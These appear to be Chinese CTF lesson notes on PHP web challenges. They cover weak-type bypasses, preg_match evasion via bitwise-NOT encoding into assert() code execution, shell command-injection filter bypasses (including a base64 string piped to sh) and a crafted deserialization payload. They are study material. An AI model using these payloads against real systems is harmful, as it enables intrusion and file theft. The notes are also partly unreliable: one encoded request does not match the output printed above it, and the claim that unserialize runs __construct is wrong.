本课重点:
- 案例1:PHP-相关总结知识点-后期复现
- 案例2:PHP-弱类型对比绕过测试-常考点
- 案例3:PHP-正则preg_match绕过-常考点
- 案例4:PHP-命令执行RCE变异绕过-常考点
- 案例5:PHP-反序列化考题分析构造复现-常考点
案例1:PHP-相关总结知识点-后期复现
相关PHP所有总结知识点参考:
https://www.cnblogs.com/iloveacm/category/1791836.html
ctf变量
php的弱类型比较问题
php断言(
assert
)
php读取目录下文件的方法
preg_match绕过
PHP中sha1()函数和md5()
异或注入
updatexml()函数报错注入
源文件泄露利用
extract变量覆盖
strcmp()漏洞
md5()漏洞
ereg()截断漏洞
弱类型整数大小比较绕过
命令执行
md5()漏洞
escapeshellarg()与escapeshellcmd()
sql注入绕过关键字
preg_replace
/
e的命令执行漏洞
MYSQL特殊模式
PHP字符串解析特性
案例2:PHP-弱类型对比绕过测试-常考点
弱类型绕过对比总结:
https://www.cnblogs.com/Mrsm1th/p/6745532.html
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
举例
$num=$_GET['num'];<br>
if(!is_numeric($num))<br>
{<br>
echo $num;<br>
if($num==1)<br>
echo 'flag{**********}';<br>
}<br>
<?php
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
?>
代码解析
$num=$_GET['num'];<br> // 接收get请求的num参数的值
if(!is_numeric($num))<br> // is_numeric — 检测变量是否为数字或数字字符串,是则返回True
// 注意这里前面有个 ! 表示非,意思是如果是true那就反转为false,反之如果是false就会变成true,也就是说这里需要数据不是纯数字才能通过判断
{<br>
echo $num;<br> // echo — 输出一个或多个字符串
if($num==1)<br> // 判断num是否等于1 注意这里是两个 =
echo 'flag{**********}';<br> // 符合条件就打印 'flag{**********}'
}<br>
<?php
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
?>
在线的靶场:https://ctf.bugku.com/challenges/index/gid/1/tid/1.html?keyword=%E7%9F%9B%E7%9B%BE
或这里使用phpStudy在本地部署文件
访问:(只要后面的参数不是纯数字就能打印flag)
127.0.0.1/get/index.php
传参1x,得到flag (参数不是纯数字就行)
也可以添加换行符:1%0a
案例3:PHP-正则preg_match绕过-常考点
ctf中 preg_match 绕过技术:
- 方法1:异或
- 方法2:取反
- 方法3:数组
- 方法4: PCRE
- 方法5∶换行符
真题:preg_match绕过-ctfhub-2020-第五空间智能安全大赛-web-hate_php
靶场地址:https://www.ctfhub.com/#/challenge
1)打开页面,显示如下代码
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}
代码解析
<?php
error_reporting(0); // error_reporting()关闭所有PHP错误报告
if(!isset($_GET['code'])){ // isset() 检测变量是否已设置并且非 NULL
highlight_file(__FILE__); // highlight_file() — 语法高亮一个文件,参数是要设置的文件路径(就是读取文件内容)
}else{
$code = $_GET['code']; // 获取get请求携带的code参数
// preg_match — 执行匹配正则表达式
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me'); // die — 等同于 exit(),exit — 输出一个消息并且退出当前脚本
}
$blacklist = get_defined_functions()['internal']; // get_defined_functions — 返回所有已定义函数的数组(就是php常用函数/内置函数)。包括内置(internal) 和用户定义的函数
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code); // assert — 检查一个断言是否为 FALSE(这是官方的解释),assert()函数还有个作用就是直接将传入的参数当成PHP代码执行·不需要以分号结尾
}
2)第一个正则表达式过滤了相关的关键字。第二个正则表达式过滤了PHP的内置函数,因此即使找到了某个函数恰好可以绕过第一个,也过不去第二个过滤。这样的题目,一般的思路就是利用异或或者取反来绕过。这里用取反来绕过。
第一步绕过思路:取反绕过(把getFlag取反然后URL编码:)
例如对:"getFlag"进行取反
首先我们要获取当前目录下的文件信息,实现代码:
// print_r() 打印变量
// scandir() 列出指定路径中的文件和目录 , '.' 表示当前目录
print_r(scandir('.'))
但是前面讲了源代码对函数做了过滤,所以这里我们要把每个函数与函数的参数拆分开来,然后进行取反再进行url编码绕过
拆分成:print_r 、scandir、.
实现方式跟上面一样,先使用在线的php编译工具取反然后格式化成URL编码,实现代码如下:
<?php
echo urlencode(~'print_r'); // urlencode — 编码 URL 字符串, ~ 取反
echo "\n"; // \n 换行,让打印的数据好看点
echo urlencode(~'scandir');
echo "\n";
echo urlencode(~'.');
?>
编码后的结果:
%8F%8D%96%91%8B%A0%8D
%8C%9C%9E%91%9B%96%8D
%D1
开始发送url请求获取当前目录下的文件信息,刚才查看源码发现他是get请求参数是code
?code=print_r(scandir('.')) # 根据这个url格式将我们编码后的函数与参数拼接起来进行请求
?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1))) # 使用这个url去发送请求
/*
* 原来的编码:
* %8F%8D%96%91%8B%A0%8D
* %8C%9C%9E%91%9B%96%8D
* %D1
*
* url解析:
1.在使用url编码进行请求时我们的url编码要用 () 括起来不然无法识别,就变成了:
* (%8F%8D%96%91%8B%A0%8D)
* (%8C%9C%9E%91%9B%96%8D)
* (%D1)
*
* 2. 使用工具把函数与请求的参数转换成url的时候我们使用 ~ 进行了取反,所有到这里要使用这些编码进行请求时我们也要用 ~ 进行取反将数据转换回来,所以现在就变成了:
* (~%8F%8D%96%91%8B%A0%8D)
* (~%8C%9C%9E%91%9B%96%8D)
* (~%D1)
*/
返回的信息是个数组:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) 表示当前目录下有两个文件 flag.php 与 index.php
读取flag.php构造payload
实现代码:
highlight_file(flag.php)
拆分成:highlight_file、
flag.php
<?php
echo urlencode(~'highlight_file'); // urlencode — 编码 URL 字符串, ~ 取反
echo "\n"; // \n 换行,让打印的数据好看点
echo urlencode(~'flag.php');
?>
编码后的结果:
%97%96%98%97%93%96%98%97%8B%A0%99%93%96%9A
%99%93%9E%98%D1%8F%97%8F
开始发送url请求读取flag.php
?code=highlight_file(flag.php) # 根据这个url格式将我们编码后的函数与参数拼接起来进行请求
?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F)) # 使用这个url去发送请求
最后复制获取到的flag,到靶场提交,解题成功
案例4:PHP-命令执行RCE变异绕过-常考点
命令执行常见绕过:https://www.cnblogs.com/iloveacm/p/13687654.html
靶场地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping
1)场景打开如下,页面是/?ip= 很明显这肯定就是个命令执行
2)输入:?ip=127.0.0.1 本地ip地址测试一下
这就相当于我们自己在cmd中手动ping (这就说明这里是可以执行系统命令的)
3)虽然这个靶场现在只是可以执行ping命令,但是我们可以使用特殊字符进行连接让他执行我们需要的命令
常用的特殊字符有:|、;、||、&&、&、$
查看当前目录下文件
?ip=127.0.0.1 ; dir # dir 是windows的查看文件目录命令
将空格清除再测试
?ip=127.0.0.1;dir # 这里执行后没有反应,说明服务器不是windows系统
这里换成linux系统命令再执行一次,成功列出文件信息
?ip=127.0.0.1;ls # 使用linux系统的命令测试成功列出当前目录的文件信息
4)尝试读取flag文件
/?ip=127.0.0.1;catflag.php # cat 是linux系统的查看文件内容的命令,因为前面说了靶机过滤了空格这里就不加空格了
发现过滤了字符 flag
5)尝试绕过这个字符过滤
https://www.cnblogs.com/iloveacm/p/13687654.html
绕过方式一:变量拼接 ($IFS$数字 -- 相当于空格 $a 是指a 这个变量)
/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php
但是只有这种绕过方式?我们可以查看靶机源代码(indx.php),分析绕过规则
/?ip=127.0.0.1;a=x;cat$IFS$2inde$a.php # 这里我将a=g 改成a = x
代码解析:
<?php
if(isset($_GET['ip'])){ // isset — 检测变量是否已设置并且非 NULL, $_GET['ip'] 获取传入的ip参数的内容
$ip = $_GET['ip']; // 将传入的ip赋值给ip变量
// preg_match() 执行匹配正则表达式
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!"); // die 输出一个消息并且退出当前脚本
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip); // shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回 , -c 4 指定ping的次数为4
echo "<pre>"; // echo 输出一个或多个字符串
print_r($a); // print_r 打印变量
}
?>
绕过方式二:内联注释(将反引号命令的结果作为输入来执行命令)
/?ip=127.0.0.1;cat$IFS$2`ls`
绕过方式三:sh
- Y2F0IGZsYWcucGhw 是base64加密后的字符解密就是:cat flag.php
- echo 输出一个或多个字符串
- $IFS$2 相当于空格
/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh
案例5:PHP-反序列化考题分析构造复现-常考点
真题:网鼎杯2020-青龙组-web-AreUserialz
靶场地址:https://www.ctfhub.com/#/challenge
搜索:AreUSerialz
序列化和反序列化作用(来源)
- 便于存储:序列化过程将文本信息转变为二进制数据流。这样就信息就容易存储在硬盘之中,当需要读取文件的时候,从硬盘中读取数据,然后再将其反序列化便可以得到原始的数据。在Python程序运行中得到了一些字符串、列表、字典等数据,想要长久的保存下来,方便以后使用,而不是简单的放入内存中关机断电就丢失数据。python模块大全中的Pickle模块就派上用场了,它可以将对象转换为一种可以传输或存储的格式。
- 便于传输:当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。发送方需要把這个对象转换为字节序列,在能在网络上传输;接收方则需要把字节序列在恢复为对象。
反序列化漏洞原理:(来源)
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
重要函数:
- serialize() :将一个对象转换成字符串 。 (序列化)
- unserialize() :将字符串还原成一个对象 (反序列化)
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法。
__construct() // 创建对象时触发
__destruct() // 对象被销毁时触发
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__get() // 用于从不可访问的属性读取数据
__set() // 用于将数据写入不可访问的属性
__isset() // 在不可访问的属性上调用 isset()或 empty()触发
__unset() // 在不可访问的属性上使用 unset()时触发
__invoke() // 当脚本尝试将对象调用为函数时触发
发现Flag位置-反序列化考点-分析代码-构造代码生成Payload
具体解题步骤参考前面笔记 来源
https://www.cnblogs.com/zhengna/p/15661109.html
打开靶机获取代码:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
代码解析:(我注释写的很详细,就算你没有学过php也能做这个程序的代码审计)
<?php
// 获取flag.php文件的内容就是我们的目的
include("flag.php"); // include() 语句包含并运行指定文件,就是调用/导入/引入文件(也可以理解为把目标文件的内容复制粘贴到当前文件)
highlight_file(__FILE__); // highlight_file — 语法高亮一个文件,也可以用来读取文件内容 __FILE__ 返回当前执行PHP脚本的完整路径和文件名,包含一个绝对路径
class FileHandler { // 定义一个类,名为FileHandler
protected $op; // 定义一个变量$op protected 将变量设置为受保护的,外界无法直接访问这个控制
protected $filename;
protected $content;
function __construct() { // 创建对象时触发
$op = "1"; // 给 $op 赋值为 "1"(字符串1)
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process(); // 调用process方法(也称为类的成员方法) , $this 指当前类,因为在当前方法调用当前类的另一个方法process()时就要加上$this不然程序找不到
}
// public 定义公有的方法
public function process() { // 这个process() 方法就是对op进行判断
if($this->op == "1") { // 判断 op=1? 注意这里是两个= ,判断的是值也就是说只要是1就可以了不管你是数字1还是字符1
$this->write(); // 如果符合判断条件,调用write方法,写入文件的方法
} else if($this->op == "2") { // op=2?
$res = $this->read(); // 调用read方法,读取文件的方法,方法的返回值是读入到的文件内容
$this->output($res); // 将$res变量中存储的文件内容,输出 output()方法是下面自定义的输出方法
} else { // 否则结束
$this->output("Bad Hacker!");
}
}
private function write() { // 可忽略,没有意义当 op=1 时才会进入这个函数,我们解题需要op = 2
if(isset($this->filename) && isset($this->content)) { // isset — 检测变量是否已设置并且非 NULL, 存在并且值不是 NULL 则返回 TRUE,否则返回 FALSE
if(strlen((string)$this->content) > 100) { // strlen — 获取字符串长度
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content); // file_put_contents — 将一个字符串写入文件,该函数将返回写入到文件内数据的字节数,失败时返回FALSE
if($res) $this->output("Successful!"); // 判断$res不为空,打印成功的信息
else $this->output("Failed!"); // 否则打印失败信息
} else {
$this->output("Failed!");
}
}
// private 把方法声明为私有的,也就是说只有当前类才能调用
private function read() { // 这个方法就是读取文件的方法
$res = ""; // 先将 $res 变量赋值为空
if(isset($this->filename)) { // 如果filename存在的话,直接获取文件内容
$res = file_get_contents($this->filename); // file_get_contents — 将整个文件读入一个字符串 $this->filename 是$this->$filename 在内存中的存储地址
}
return $res; // 将读入到的文件内容返回
}
private function output($s) { // 自定义的输出方法
echo "[Result]: <br>"; // echo — 输出一个或多个字符串
echo $s; // 将方法接收到的数据($s)输出
}
function __destruct() { // 当对象进行销毁的时触发
if($this->op === "2") // 这里判断op是否强等于"2"(就是类型与值都要相等),如果等于"2" 可以使用数字2或字符串'2'绕过判断,因为等于1是调用写入方法等于2才是读取文件数据的方法
$this->op = "1"; // op赋值"1"
$this->content = "";
$this->process(); // 调用process()方法对op的值进行判断
}
}
function is_valid($s) {
// 循环判断字符串的每一次值,是否在32-125内(可见字符之内的字符串),strlen — 获取字符串长度
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) // !表示非 ord — 转换字符串第一个字节为 0-255 之间的值 (asiic码)
return false; // 不符合条件返回false
return true; // 符合条件返回true
}
if(isset($_GET{'str'})) { // $_GET{'str'}获取通过get请求传过来的str isset — 检测变量是否已设置并且非 NULL
$str = (string)$_GET['str']; // 将获取到的get参数str赋值给$str变量
if(is_valid($str)) { // 然后str过一下上面的is_valid方法,看一下是否有非法字符
$obj = unserialize($str); // 如果没有直接unserialize反序列化
}
}
绕过思路:
1、通过str参数传入值,绕过相关的过滤(就是构造payload)
2、str变量值 - 字符串格式,创建类对象FileHandler
前面讲了unserialize() 方法将字符串还原成一个对象 (反序列化),就是相当于创建了对象,当创建了对象后就会触发__construct()方法
3、让op = 2,filename = flag.php # 因为源代码当op=2是就会调用读取的方法,读取filename变量对应的文件
4、构造攻击Patload
<?php
class FileHandler{
public $op=2;
public $filename="flag.php";
public $content="xd";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
代码解析:
<?php
class FileHandler{ // 这里的类命令要与源码的类名一致才行
public $op=2; // 源码告诉我们op为1时执行写入,op为2时执行读取 这里有两个值都可以 2 或 '2' "2" 已经被过滤不写这个就行
public $filename="flag.php"; // 文件开头调用的是flag.php
public $content="xd"; // 这个随便写点东西就行,
}
$flag = new FileHandler(); // new FileHandler() 创建类对象,这里创建对象也会触发源码中的__construct方法,然后经过一系列的操作最终给我们返回flag.php的内容
$flag_1 = serialize($flag); // serialize 将一个对象转换成字符串(序列化),因为源码对传入的参数进行了反序列化
echo $flag_1; // 输出序列化后的类
?>
代码运行结果:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}
5)使用攻击 Patload 获取flag
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}
涉及资源:
- https://www.cnblogs.com/iloveacm/category/1791836.html CTF知识点
- https://buuoj.cn/challenges 靶场
- https://www.ctfhub.com/#/challenge ctf
- http://t.zoukankan.com/v01cano-p-11736722.html ctf中 preg_match 绕过技术 | 无字母数字的webshell
- https://www.cnblogs.com/iloveacm/p/13687654.html 命令执行